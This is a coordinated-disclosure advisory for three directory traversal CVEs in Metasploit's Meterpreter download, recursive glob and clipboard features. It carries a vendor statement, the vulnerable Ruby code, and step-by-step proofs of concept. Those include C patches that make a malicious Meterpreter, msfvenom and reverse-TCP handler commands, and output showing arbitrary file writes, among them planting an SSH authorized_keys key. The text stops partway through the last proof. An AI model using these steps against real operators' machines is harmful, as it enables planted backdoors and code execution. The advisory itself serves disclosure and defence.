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The Metasploit Framework is an open source exploit development and delivery tool managed primarily by Rapid7, Inc. with a developer community of over 400 contributors and a user community in the hundreds of thousands.

Meterpreter is a payload provided by Metasploit Framework that allows an instance of Metasploit to remotely control machines on which Meterpreter is executed. It is often the default payload for Metasploit exploits.

The following issues constitute directory traversal vulnerabilities in Metasploit. Directory traversal is described at CWE-23.

  • CVE-2017-5228: Rapid7 Metasploit Meterpreter stdapi Dir.download() Directory Traversal
  • CVE-2017-5231: Rapid7 Metasploit Meterpreter stdapi CommandDispatcher.cmd_download() Recursive Globbing Arbitrary File Write
  • CVE-2017-5229: Rapid7 Metasploit Meterpreter extapi Clipboard.parse_dump() Directory Traversal

By running a specially modified version of Meterpreter, a "victim's" machine can exercise a directory traversal vulnerability and the writing of arbitrary files to (sometimes) arbitrary locations when an "attacker" uses Metasploit to download files via the Meterpreter session.

In other words, once a Metasploit user connects to a victim's specially modified Meterpreter instance, the victim can then opportunistically "hack back" the original attacker.

In the case of users who run msfconsole as root, an attacker could write a file to /etc/cron.d/ to gain code execution as root.

The Overall CVSSv3 score for these issues was deemed by Rapid7 to be 4.6 (CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:L/E:P/RL:O/RC:C/CR:L/IR:L/AR:L/MAV:N/MAC:H/MPR:N/MUI:R/MS:U/MC:H/MI:H/MA:L)

Rapid7 has released updated versions for all of these issues as of 8 Feb 2017. Framework users should update to version 4.13.21. Pro users should update to version 4.13.0-2017020701.

Vendor Statement

The following is included at the request of Rapid7:

Rapid7 thanks Justin Steven for proactively coming to us with these vulnerabilities. We appreciate the opportunity to practice coordinated, reasonable disclosure when it comes to vulnerabilities in our software products. We agree that these issues can provide a unique opportunity to "trap" Metasploit users by providing a malicious Meterpreter sessions, but of course, the attacker has no mechanism to force this attack on a victim. In addition to the patches released to address these specific vulnerabilities, the use of Meterpreter's Paranoid Mode can significantly reduce the threat of this and other undiscovered issues involving malicious Meterpreter sessions.

My motivations, hopes and dreams

Discovering and disclosing security bugs is an important contribution to community-driven open-source software. Even if you're a breaker and not a builder, dive in to the code and give back to the community that builds your tools.

Users of software, including security assessment and exploitation tools, should take steps to mitigate against unknown bugs. These tools provide network services and directly interface with untrusted hosts. Run your tools in isolated environments. Compartmentalise your work. Don't run software as root if it can be avoided. Don't let your security, and the security of your clients, depend only on the correctness of the code you run.

CVE-2017-5228 Rapid7 Metasploit Meterpreter stdapi Dir.download() Directory Traversal

Metasploit's Rex::Post::Meterpreter::Extensions::Stdapi::Fs::Dir.download(), which is used to download directories via a Meterpreter session, is vulnerable to directory traversal in the saving of downloaded files.

For a machine running Metasploit, when it performs the download of a directory from a machine on which Meterpreter is running, Meterpreter is able to cause Metasploit to write arbitrary files at arbitrary locations on the attacker's filesystem.

Note that simply being the Meterpreter end of a session is not enough to exploit this bug. Metasploit must explicitly initiate a download to trigger the vulnerability.

The bug

lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb defines the Dir.download() function:

#
# Downloads the contents of a remote directory a
# local directory, optionally in a recursive fashion.
#
def Dir.download(dst, src, opts, force = true, glob = nil, &stat)
  # <... SNIP - consume opts ...>
  begin
    dir_files = self.entries(src, glob)
  rescue Rex::TimeoutError
    # <... SNIP - handle timeouts ... >
  end

self.entries() is called to perform a directory listing of files on the machine running Meterpreter. At this stage, Meterpreter controls the contents of the array dir_files. It is able to tell Metasploit that a bunch of crazily named files (e.g. ../../../../foo/bar) exists in the directory of interest.

The function continues:

  dir_files.each { |src_sub|
    dst_item = dst + ::File::SEPARATOR + client.unicode_filter_encode(src_sub)
    src_item = src + client.fs.file.separator + client.unicode_filter_encode(src_sub)

    # <... SNIP  - do the download of src_item on the remote machine to dst_item on the local machine ... >

The construction of dst_item by means of simple concatenation (using the untrusted filenames as reported by Meterpreter) gives Meterpreter the opportunity to induce directory traversal on the machine running Metasploit.

POC

1. Patch the Windows Meterpreter source code to produce a malicious Meterpreter

We will produce a malicious Windows Meterpreter that returns malformed responses to Metasploit.

Note that the patching and execution of a modified Meterpreter is just one method by which the vulnerability can be triggered. Importantly, exploitation does not require the victim's Metasploit Framework to be modified. The vulnerability is within Metasploit itself.

To trigger the bug, Meterpreter needs to tell Metasploit that there is a file on disk with a filename containing the character sequence ../. As / is an illegal character on most (all?) filesystems, we will patch Meterpreter to replace all instances of the character Z within filenames with the character /

Patch the fs_ls function within metasploit-payloads/c/meterpreter/source/extensions/stdapi/server/fs/fs_win.c as follows:

diff --git a/c/meterpreter/source/extensions/stdapi/server/fs/fs_win.c b/c/meterpreter/source/extensions/stdapi/server/fs/fs_win.c
index 11c49e7..228c3b8 100644
--- a/c/meterpreter/source/extensions/stdapi/server/fs/fs_win.c
+++ b/c/meterpreter/source/extensions/stdapi/server/fs/fs_win.c
@@ -91,10 +91,22 @@ int fs_ls(const char *directory, fs_ls_cb_t cb, void *arg)

                char *filename = wchar_to_utf8(data.cFileName);
                char *short_filename = wchar_to_utf8(data.cAlternateFileName);
                char path[FS_MAX_PATH];

+               for (size_t i = 0; i < strlen(filename); i++) {
+                 if (filename[i] == 'Z') {
+                   filename[i] = '/';
+                 }
+               }
+
+               for (size_t i = 0; i < strlen(short_filename); i++) {
+                 if (short_filename[i] == 'Z') {
+                   short_filename[i] = '/';
+                 }
+               }
+
                if (baseDirectory) {
                        _snprintf(path, sizeof(path), "%s\\%s", baseDirectory, filename);
                } else {
                        _snprintf(path, sizeof(path), "%s", filename);
                }

You should then feel deeply ashamed about iterating over the bytes in a (multi-byte?) string like this, and you should think "surely this won't work". When it does work, you should make a mental note to learn how to C like a grown-up.

2. Build Meterpreter

See http://buffered.io/posts/building-meterpreter-is-easy/ and https://github.com/rapid7/metasploit-payloads/tree/master/c/meterpreter for more details.

Copy the built binaries (within metasploit-payloads/c/meterpreter/output/*/) to metasploit-framework/data/meterpreter/ to make them available to Metasploit.

3. Generate a stageless Windows Meterpreter

Be sure to include the stdapi extension. This will result in our patched code being baked right in to the payload.

% ~/work/metasploitsploit/metasploit-framework/msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=172.18.0.5 LPORT=4444 EXTENSIONS=stdapi -f exe -o ~/work/metasploitsploit/windows_x64_meterpreter_reverse_tcp.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x64 from the payload
WARNING: Local file /home/justin/work/metasploitsploit/metasploit-framework/data/meterpreter/metsrv.x64.dll is being used
WARNING: Local files may be incompatible with the Metasploit Framework
WARNING: Local file /home/justin/work/metasploitsploit/metasploit-framework/data/meterpreter/ext_server_stdapi.x64.dll is being used
No encoder or badchars specified, outputting raw payload
Payload size: 1612339 bytes
Final size of exe file: 1618944 bytes
Saved as: /home/justin/work/metasploitsploit/windows_x64_meterpreter_reverse_tcp.exe

4. Unbuild Meterpreter

Having generated a stageless Windows Meterpreter inclusive of the stdapi extension, we no longer need the patched Meterpreter binaries within Metasploit. Scrub them from metasploit-framework/data/meterpreter/

5. Get a session

Start Metasploit, start a stageless Meterpreter handler:

% ~/work/metasploitsploit/metasploit-framework/msfconsole -q
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/x64/meterpreter_reverse_tcp
PAYLOAD => windows/x64/meterpreter_reverse_tcp
msf exploit(handler) > set LHOST 172.18.0.5
LHOST => 172.18.0.5
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > set ExitOnSession false
ExitOnSession => false
msf exploit(handler) > exploit -j
[*] Exploit running as background job.
msf exploit(handler) >
[*] Started reverse TCP handler on 172.18.0.5:4444
[*] Starting the payload handler...

Run the stageless Meterpreter payload on a remote machine to initiate a session:

[*] Meterpreter session 1 opened (172.18.0.5:4444 -> 172.17.24.85:49271) at 2016-12-29 21:50:19 +1000

6. Create a malicious directory for download

We know that the patched Meterpreter will replace the character Z with / within filenames. To trigger the vulnerability, we'll create a directory layout as follows:

C:\
|
|-- Users\
   |
   |-- Justin\
      |
      |-- Desktop\
          |
          |-- tasty_loot
              |
              |-- ..Z..Z..Z..Z..Z..Z..Z..Z..Z..ZtmpZdoot.txt

Metasploit, when told to download C:/Users/Justin/Desktop/tasty_loot/, will enumerate the contents of the directory and will attempt to download the file named C:/Users/Justin/Desktop/tasty_loot/../../../../../../../../../../tmp/doot.txt to $DESTINATIONDIR/../../../../../../../../../../tmp/doot.txt which will trigger the directory traversal vulnerability.

For this to work, we need to ensure that C:/Users/Justin/Desktop/tasty_loot/../../../../../../../../../../tmp/doot.txt (i.e. C:/tmp/doot.txt) exists on the Windows system. This is a very rough POC, driven somewhat by a crazy state of our own filesystem as an attacker. Our directory layout will end up being:

C:\
|
|-- Users\
|  |
|  |-- Justin\
|     |
|     |-- Desktop\
|         |
|         |-- tasty_loot
|             |
|             |-- ..Z..Z..Z..Z..Z..Z..Z..Z..Z..ZtmpZdoot.txt
|-- tmp\
    |
    |-- doot.txt

Go ahead and create this:

C:\Users\Justin>mkdir Desktop\tasty_loot

C:\Users\Justin>echo >> Desktop\tasty_loot\..Z..Z..Z..Z..Z..Z..Z..Z..Z..ZtmpZdoot.txt

C:\Users\Justin>mkdir \tmp

C:\Users\Justin>echo doot doot >> \tmp\doot.txt

C:\Users\Justin>

7. Trigger the bug

Before triggering the bug, the file doesn't exist on the victim's machine:

msf exploit(handler) > cat /tmp/doot.txt
[*] exec: cat /tmp/doot.txt

cat: /tmp/doot.txt: No such file or directory

If we were to take a look at the contents of tasty_loot via the Meterpreter session (using the Meterpreter command ls) it would look quite strange:

msf exploit(handler) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > ls C:/Users/Justin/Desktop/tasty_loot
Listing: C:/Users/Justin/Desktop/tasty_loot
===========================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  12    fil   2016-12-29 22:00:39 +1000  ../../../../../../../../../../tmp/doot.txt

meterpreter >

Trigger the bug by downloading the attacker's tasty_loot directory to anywhere on the victim's filesystem:

meterpreter > download C:/Users/Justin/Desktop/tasty_loot /home/justin/looted_tasty_loot
[*] downloading: C:/Users/Justin/Desktop/tasty_loot\../../../../../../../../../../tmp/doot.txt -> /home/justin/looted_tasty_loot/../../../../../../../../../../tmp/doot.txt
[*] download   : C:/Users/Justin/Desktop/tasty_loot\../../../../../../../../../../tmp/doot.txt -> /home/justin/looted_tasty_loot/../../../../../../../../../../tmp/doot.txt

meterpreter >

The file now exists in /tmp/:

meterpreter > ^Z
Background session 1? [y/N]

msf exploit(handler) > cat /tmp/doot.txt
[*] exec: cat /tmp/doot.txt

doot doot

The vulnerability can also be exploited if the victim recursively downloads a directory that is a parent of the malicious directory:

msf exploit(handler) > rm /tmp/doot.txt
[*] exec: rm /tmp/doot.txt

msf exploit(handler) > cat /tmp/doot.txt
[*] exec: cat /tmp/doot.txt

cat: /tmp/doot.txt: No such file or directory

msf exploit(handler) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > download -r C:/Users/Justin/Desktop /home/justin/looted_desktop
[*] downloading: C:/Users/Justin/Desktop\desktop.ini -> /home/justin/looted_desktop/desktop.ini
[*] download   : C:/Users/Justin/Desktop\desktop.ini -> /home/justin/looted_desktop/desktop.ini
[*] mirroring  : C:/Users/Justin/Desktop\tasty_loot -> /home/justin/looted_desktop/tasty_loot
[*] downloading: C:/Users/Justin/Desktop\tasty_loot\../../../../../../../../../../tmp/doot.txt -> /home/justin/looted_desktop/tasty_loot/../../../../../../../../../../tmp/doot.txt
[*] download   : C:/Users/Justin/Desktop\tasty_loot\../../../../../../../../../../tmp/doot.txt -> /home/justin/looted_desktop/tasty_loot/../../../../../../../../../../tmp/doot.txt
[*] mirrored   : C:/Users/Justin/Desktop\tasty_loot -> /home/justin/looted_desktop/tasty_loot

meterpreter > ^Z
Background session 1? [y/N]

msf exploit(handler) > cat /tmp/doot.txt
[*] exec: cat /tmp/doot.txt

doot doot

CVE-2017-5231: Rapid7 Metasploit stdapi CommandDispatcher.cmd_download() Recursive Globbing Arbitrary File Write

Metasploit's Rex::Post::Meterpreter::Ui::Console::CommandDispatcher::Stdapi::Fs::cmd_download(), which is used to dispatch download requests to lower-level code, is vulnerable to a remotely exploitable arbitrary file write bug.

For a machine running Metasploit, when it performs the recursive download of files matching a glob pattern from a machine on which Meterpreter is running, Meterpreter is able to cause Metasploit to write arbitrary files at arbitrary locations on the attacker's filesystem.

Note that simply being the Meterpreter end of a session is not enough to exploit this bug. Metasploit must explicitly initiate a recursive glob-based download to trigger the vulnerability.

The bug

cmd_download() is defined as follows:

def cmd_download(*args)
  # <... SNIP - consume options ...>

  # Go through each source item and download them
  src_items.each { |src|
    glob = nil
    if client.fs.file.is_glob?(src)
      glob = ::File.basename(src)
      src = ::File.dirname(src)
    end

    # Use search if possible for recursive pattern matching. It will work
    # more intuitively since it will not try to match on intermediate
    # directories, only file names.
    if glob && recursive && client.commands.include?('stdapi_fs_search')

      files = client.fs.file.search(src, glob, recursive)
      <... SNIP - to be continued ...>

If the user requests a recursive download using -r and specifies a filename including a glob character (e.g. *) and the Meterpreter session provides the stdapi_fs_search function then the above (truncated) codepath is taken.

client.fs.file.search(src, glob, recursive) is called. This function is defined as follows:

def File.search( root=nil, glob="*.*", recurse=true, timeout=-1 )
  # <... SNIP - build a search request called 'request' to send to Meterpreter ...>

  response = client.send_request( request, timeout )
  if( response.result == 0 )
    response.each( TLV_TYPE_SEARCH_RESULTS ) do | results |
      files << {
        'path' => client.unicode_filter_encode(results.get_tlv_value(TLV_TYPE_FILE_PATH).chomp( '\\' )),
        'name' => client.unicode_filter_encode(results.get_tlv_value(TLV_TYPE_FILE_NAME)),
        'size' => results.get_tlv_value(TLV_TYPE_FILE_SIZE)
      }
    end
  end

  return files
end

It is clear that Meterpreter controls the entirety of the contents of the hash named files which is returned to consumers of File.search(). The only filtering/sanitisation that is done is to remove a single trailing backslash from "path" values.

Picking up where we left off in cmd_download:

      # <... SNIP ...>
      files = client.fs.file.search(src, glob, recursive)

      if !files.empty?
        print_line("Downloading #{files.length} file#{files.length > 1 ? 's' : ''}...")

        files.each do |file|
          src_separator = client.fs.file.separator
          src_path = file['path'] + client.fs.file.separator + file['name']
          dest_path = src_path.tr(src_separator, ::File::SEPARATOR)

          client.fs.file.download(dest_path, src_path, opts) do |step, src, dst|
            print_status("#{step.ljust(11)}: #{src} -> #{dst}")
            client.framework.events.on_session_download(client, src, dest) if msf_loaded?
          end
        end
      # <... SNIP ...>

The files hash, the contents of which are controlled by Meterpreter, is iterated over. Files are downloaded to locations as per path elements in the files hash, leading to an arbitrary file write condition.

POC

1. Patch the Windows Meterpreter source code to produce a malicious Meterpreter

We will produce a malicious Meterpreter that returns malformed responses to Metasploit.

Note that the patching and execution of a modified Meterpreter is just one method by which the vulnerability can be triggered. Importantly, exploitation does not require the victim's Metasploit Framework to be modified. The vulnerability is within Metasploit itself.

To trigger the bug, Meterpreter needs to respond to stdapi_fs_search requests with malicious results. We will patch Meterpreter to append a hardcoded malicious entry to responses.

Patch the request_fs_search function within metasploit-payloads/c/meterpreter/source/extensions/stdapi/server/fs/search.c as follows:

diff --git a/c/meterpreter/source/extensions/stdapi/server/fs/search.c b/c/meterpreter/source/extensions/stdapi/server/fs/search.c
index aa53e4f..5027a7f 100644
--- a/c/meterpreter/source/extensions/stdapi/server/fs/search.c
+++ b/c/meterpreter/source/extensions/stdapi/server/fs/search.c
@@ -859,10 +859,12 @@ DWORD request_fs_search(Remote * pRemote, Packet * pPacket)
                {
                        dwResult = search(&WDSInterface, NULL, &options, pResponse);
                }
        }

+       search_add_result(pResponse, L"c:\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\tmp", L"doot", 0);
+
        if (pResponse)
        {
                dwResult = packet_transmit_response(dwResult, pRemote, pResponse);
        }

2. Build Meterpreter

See http://buffered.io/posts/building-meterpreter-is-easy/ and https://github.com/rapid7/metasploit-payloads/tree/master/c/meterpreter for more details.

Copy the built binaries (within metasploit-payloads/c/meterpreter/output/*/) to metasploit-framework/data/meterpreter/ to make them available to Metasploit.

3. Generate a stageless Windows Meterpreter

Be sure to include the stdapi extension. This will result in our patched code being baked right in to the payload.

% ~/work/metasploitsploit/metasploit-framework/msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=172.18.0.2 LPORT=4444 EXTENSIONS=stdapi -f exe -o ~/work/metasploitsploit/windows_x64_meterpreter_reverse_tcp.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x64 from the payload
WARNING: Local file /home/justin/work/metasploitsploit/metasploit-framework/data/meterpreter/metsrv.x64.dll is being used
WARNING: Local files may be incompatible with the Metasploit Framework
WARNING: Local file /home/justin/work/metasploitsploit/metasploit-framework/data/meterpreter/ext_server_stdapi.x64.dll is being used
No encoder or badchars specified, outputting raw payload
Payload size: 1612339 bytes
Final size of exe file: 1618944 bytes
Saved as: /home/justin/work/metasploitsploit/windows_x64_meterpreter_reverse_tcp.exe

4. Unbuild Meterpreter

Having generated a stageless Windows Meterpreter inclusive of the stdapi extension, we no longer need the patched Meterpreter binaries within Metasploit. Scrub them from metasploit-framework/data/meterpreter/

5. Get a session

Start Metasploit, start a stageless Meterpreter handler:

% ~/work/metasploitsploit/metasploit-framework/msfconsole -q -x 'use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter_reverse_tcp; set LHOST 172.18.0.2; set LPORT 4444; set ExitOnSes
sion false; exploit -j'
PAYLOAD => windows/x64/meterpreter_reverse_tcp
LHOST => 172.18.0.2
LPORT => 4444
ExitOnSession => false
[*] Exploit running as background job.

[*] Started reverse TCP handler on 172.18.0.2:4444
[*] Starting the payload handler...
msf exploit(handler) >

Run the stageless Meterpreter payload on a remote machine to initiate a session:

[*] Meterpreter session 1 opened (172.18.0.2:4444 -> 172.17.24.85:49181) at 2017-02-08 19:21:13 +1000

6. Set up the attacker's filesystem

We know that the patched Meterpreter will return c:/../../../../../../../../../../../../../../tmp/doot to the request_fs_search request that Metasploit sends as part of any recursive glob download request.

Metasploit will then attempt to download the file c:/../../../../../../../../../../../../../../tmp/doot (i.e. the file C:/tmp/doot) to ./c:/../../../../../../../../../../../../../../tmp/doot which will trigger the directory traversal vulnerability.

Create a directory layout as follows:

C:\
|
|-- tmp\
   |
   |-- doot
C:\Users\Justin>mkdir \tmp

C:\Users\Justin>echo doot doot >> \tmp\doot

7. Trigger the bug

Before triggering the bug, note that /tmp/doot does not exist on the victim's machine:

msf exploit(handler) > cat /tmp/doot
[*] exec: cat /tmp/doot

cat: /tmp/doot: No such file or directory

If we were to perform a filesystem search via the Meterpreter session, it would look quite strange:

msf exploit(handler) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > search -h
Usage: search [-d dir] [-r recurse] -f pattern [-f pattern]...
Search for files.

OPTIONS:

    -d <opt>  The directory/drive to begin searching from. Leave empty to search all drives. (Default: )
    -f <opt>  A file pattern glob to search for. (e.g. *secret*.doc?)
    -h        Help Banner.
    -r <opt>  Recursivly search sub directories. (Default: true)


meterpreter > search -d c:/Users/Justin/Desktop -f foo*txt
Found 3 results...
    C:\Users\Justin\Desktop\foob1.txt (1 bytes)
    C:\Users\Justin\Desktop\foob2.txt (1 bytes)
    c:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\tmp\doot

Trigger the bug by performing a recursive globbed download:

meterpreter > download -r c:/Users/Justin/Desktop/foo*txt
Downloading 3 files...
[*] downloading: C:\Users\Justin\Desktop\foob1.txt -> C:/Users/Justin/Desktop/foob1.txt
[*] download   : C:\Users\Justin\Desktop\foob1.txt -> C:/Users/Justin/Desktop/foob1.txt
[*] downloading: C:\Users\Justin\Desktop\foob2.txt -> C:/Users/Justin/Desktop/foob2.txt
[*] download   : C:\Users\Justin\Desktop\foob2.txt -> C:/Users/Justin/Desktop/foob2.txt
[*] downloading: c:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\tmp\doot -> c:/../../../../../../../../../../../../../../tmp/doot
[*] download   : c:\..\..\..\..\..\..\..\..\..\..\..\..\..\..\tmp\doot -> c:/../../../../../../../../../../../../../../tmp/doot

/tmp/doot now exists:

meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > cat /tmp/doot
[*] exec: cat /tmp/doot

doot doot

CVE-2017-5229 Rapid7 Metasploit Meterpreter extapi Clipboard.parse_dump() Directory Traversal

Metasploit's Rex::Post::Meterpreter::Ui::Console::CommandDispatcher::Extapi::Clipboard.parse_dump(), which is used to parse and optionally download a victim's clipboard contents via a Meterpreter session, is vulnerable to directory traversal in the saving of downloaded files.

For a machine running Metasploit, when it performs the download of clipboard contents from a machine on which Meterpreter is running, Meterpreter is able to cause Metasploit to write arbitrary files to the parent directory of the download destination on the attacker's filesystem.

Note that simply being the Meterpreter end of a session is not enough to exploit this bug. Metasploit must explicitly initiate a download of clipboard contents to trigger the vulnerability.

The bug

An example consumer of parse_dump() is Rex::Post::Meterpreter::Ui::Console::CommandDispatcher::Extapi::Clipboard.cmd_clipboard_get_data() which exposes extapi's clipboard_get_data command to the user.

def cmd_clipboard_get_data(*args)
  download_content = false
  download_path = nil
  @@get_data_opts.parse(args) { |opt, idx, val|
    case opt
    when "-d"
      download_content = true
      download_path = val
    when "-h"
      print_clipboard_get_data_usage
      return true
    end
  }

  dump = client.extapi.clipboard.get_data(download_content)

  # <... SNIP ...>

  parse_dump(dump, download_content, download_content, download_path)
  return true
end

Meterpreter controls the contents of the hash named dump. In the case of a standard file having been copied to the user's clipboard, it will look like:

meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client

>> puts client.extapi.clipboard.get_data(true)
{"2017-01-04 12:15:01.0350"=>{"Files"=>[{:name=>"C:\\Users\\Public\\Desktop\\Google Chrome.lnk", :size=>2183}]}}
=> nil
>>

Note, however, that Meterpreter has complete control over the path of the file that was copied to the clipboard.

The function then passes this hash named dump to parse_dump():

def parse_dump(dump, get_images, get_files, download_path)
  loot_dir = download_path || "."
  if (get_images || get_files) && !::File.directory?( loot_dir )
    ::FileUtils.mkdir_p( loot_dir )
  end

  dump.each do |ts, elements|
    elements.each do |type, v|
      # <... SNIP ...>

      case type
      when 'Text'
        # <... SNIP ...>

      when 'Files'
        total = 0
        v.each do |f|
          print_line("Remote Path : #{f[:name]}")
          print_line("File size   : #{f[:size]} bytes")
          if get_files
            download_file( loot_dir, f[:name] )
          end
          print_line
          total += f[:size]
        end

      when 'Image'
        # <... SNIP ...>

      end
      # <... SNIP ...>
    end
  end
end

In the case of the above hash, download_file(loot_dir, 'C:\\Users\\Public\\Desktop\\Google Chrome.lnk') would be called within the function's case statement.

def download_file( dest_folder, source )
  stat = client.fs.file.stat( source )
  base = ::Rex::Post::Meterpreter::Extensions::Stdapi::Fs::File.basename( source )
  dest = File.join( dest_folder, base )

  if stat.directory?
    client.fs.dir.download( dest, source, {"recursive" => true}, true ) { |step, src, dst|
      print_line( "#{step.ljust(11)} : #{src} -> #{dst}" )
      client.framework.events.on_session_download( client, src, dest ) if msf_loaded?
    }
  elsif stat.file?
    client.fs.file.download( dest, source ) { |step, src, dst|
      print_line( "#{step.ljust(11)} : #{src} -> #{dst}" )
      client.framework.events.on_session_download( client, src, dest ) if msf_loaded?
    }
  end
end

This function determines the type of the file that was copied to the clipboard and calls the standard file/directory download functions to download it to dest_folder/basename(filename)

Assuming a dest_folder of /home/justin/looted_clipboard:

  • A file named C:/Foo/Bar.txt will be downloaded to /home/justin/looted_clipboard/Bar.txt
  • A directory named C:/Foo/Buzz will be downloaded recursively to /home/justin/looted_clipboard/Buzz

However, Meterpreter has full control over the path to the file that was purportedly copied to the clipboard, and so a directory named C:/Foo/.. will be downloaded recursively to /home/justin/looted_clipboard/.. allowing for the writing of arbitrary files in /home/justin/

POC

1. Patch the Windows Meterpreter source code to produce a malicious Meterpreter

We will produce a malicious Meterpreter that returns malformed responses to Metasploit.

Note that the patching and execution of a modified Meterpreter is just one method by which the vulnerability can be triggered. Importantly, exploitation does not require the victim's Metasploit Framework to be modified. The vulnerability is within Metasploit itself.

To trigger the bug, Meterpreter needs to tell Metasploit that a file with a filename of .. has been copied to the clipboard. As .. is an illegal filename on most (all?) filesystems, we will patch Meterpreter to hardcode the fact that a file named C:/doot/doot/.. has been copied to the clipboard.

Patch the dump_clipboard_capture function within metasploit-payloads/c/meterpreter/source/extensions/extapi/clipboard.c as follows:

diff --git a/c/meterpreter/source/extensions/extapi/clipboard.c b/c/meterpreter/source/extensions/extapi/clipboard.c
index a9c5c98..3dfa24e 100644
--- a/c/meterpreter/source/extensions/extapi/clipboard.c
+++ b/c/meterpreter/source/extensions/extapi/clipboard.c
@@ -370,17 +370,17 @@ VOID dump_clipboard_capture(Packet* pResponse, ClipboardCapture* pCapture, BOOL
                pFile = pCapture->lpFiles;

                while (pFile)
                {
                        dprintf("[EXTAPI CLIPBOARD] Dumping file %p", pFile);
                        file = packet_create_group();

                        dprintf("[EXTAPI CLIPBOARD] Adding path %s", pFile->lpPath);
-                       packet_add_tlv_string(file, TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME, pFile->lpPath);
+                       packet_add_tlv_string(file, TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME, "C:\\doot\\doot\\..");

                        dprintf("[EXTAPI CLIPBOARD] Adding size %llu", pFile->qwSize);
                        packet_add_tlv_qword(file, TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE, pFile->qwSize);

                        dprintf("[EXTAPI CLIPBOARD] Adding group");
                        packet_add_group(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE, file);

                        pFile = pFile->pNext;

2. Build Meterpreter

See http://buffered.io/posts/building-meterpreter-is-easy/ and https://github.com/rapid7/metasploit-payloads/tree/master/c/meterpreter for more details.

Copy the built binaries (within metasploit-payloads/c/meterpreter/output/*/) to metasploit-framework/data/meterpreter/ to make them available to Metasploit.

3. Generate a stageless Windows Meterpreter

Be sure to include the extapi extension. This will result in our patched code being baked right in to the payload (though this ends up being useless in the case of extapi, as we'll see in step 4)

% ~/work/metasploitsploit/metasploit-framework/msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=172.18.0.5 LPORT=4444 EXTENSIONS=extapi -f exe -o ~/work/metasploitsploit/windows_x64_meterpreter_reverse_tcp.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x64 from the payload
WARNING: Local file /home/justin/work/metasploitsploit/metasploit-framework/data/meterpreter/metsrv.x64.dll is being used
WARNING: Local files may be incompatible with the Metasploit Framework
WARNING: Local file /home/justin/work/metasploitsploit/metasploit-framework/data/meterpreter/ext_server_extapi.x64.dll is being used
No encoder or badchars specified, outputting raw payload
Payload size: 1348147 bytes
Final size of exe file: 1354752 bytes
Saved as: /home/justin/work/metasploitsploit/windows_x64_meterpreter_reverse_tcp.exe

4. Do not unbuild Meterpreter

Since we patched extapi, we need to leave the patched build of Meterpreter within Metasploit's data directory. Even for a stageless payload that has extapi baked in to it, you need to do use extapi within Metasploit before the extension's commands will be available to Metasploit. I was under the impression that Metasploit would not upload a whole new extapi library to Meterpreter if Meterpreter already has a copy of it, but this did not seem to be the case in my lab. Metasploit would upload a new copy of extapi, trampling the patched code within Meterpreter.

An attacker could patch their copy of Meterpreter to just throw away any copy of the extapi library fed to it by Metasploit. This is an exercise left for the reader.

5. Get a session

Start Metasploit, start a stageless Meterpreter handler:

% ~/work/metasploitsploit/metasploit-framework/msfconsole -q
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/x64/meterpreter_reverse_tcp
PAYLOAD => windows/x64/meterpreter_reverse_tcp
msf exploit(handler) > set LHOST 172.18.0.5
LHOST => 172.18.0.5
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > set ExitOnSession false
ExitOnSession => false
msf exploit(handler) > exploit -j
WARNING: Local file /home/justin/work/metasploitsploit/metasploit-framework/data/meterpreter/metsrv.x64.dll is being used
WARNING: Local files may be incompatible with the Metasploit Framework
[*] Exploit running as background job.
msf exploit(handler) >
[*] Started reverse TCP handler on 172.18.0.5:4444
[*] Starting the payload handler...

Run the stageless Meterpreter payload on a remote machine to initiate a session:

[*] Meterpreter session 1 opened (172.18.0.5:4444 -> 172.17.24.85:50469) at 2017-01-03 22:36:54 +1000

6. Create a malicious directory for download

We know that the patched Meterpreter will inform Metasploit that the file C:/doot/doot/.. has been copied to the clipboard.

Metasploit will then attempt to download the file C:/doot/doot/.. (i.e. the directory C:/doot/) to $DESTINATIONDIR/.. which will trigger the directory traversal vulnerability.

Create a directory layout as follows:

C:\
|
|-- doot\
   |
   |-- doot\
   |
   |-- .ssh\
      |
      |-- authorized_keys
C:\Users\Justin>mkdir \doot

C:\Users\Justin>mkdir \doot\doot

C:\Users\Justin>mkdir \doot\.ssh

C:\Users\Justin>echo An evil SSH public key >> \doot\.ssh\authorized_keys

7. Trigger the bug

Before triggering the bug, note that authorized_keys on the victim's machine contains an innocent SSH public key:

msf exploit(handler) > cat /home/justin/.ssh/authorized_keys
[*] exec: cat /home/justin/.ssh/authorized_keys

Just an innocent SSH public key

On the Meterpreter machine, copy any file to the clipboard to ensure that our patched code is triggered.

If we were to take a look at the contents of the clipboard via the Meterpreter session, it would look quite strange:

msf exploit(handler) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > use extapi
Loading extension extapi...WARNING: Local file /home/justin/work/metasploitsploit/metasploit-framework/data/meterpreter/ext_server_extapi.x64.dll is being used
success.

meterpreter > clipboard_get_data
Files captured at 2017-01-03 12:40:16.0185
==========================================
Remote Path : C:\doot\doot\..
File size   : 1354752 bytes

==========================================

Trigger the bug by downloading the attacker's clipboard contents to a directory within your home directory:

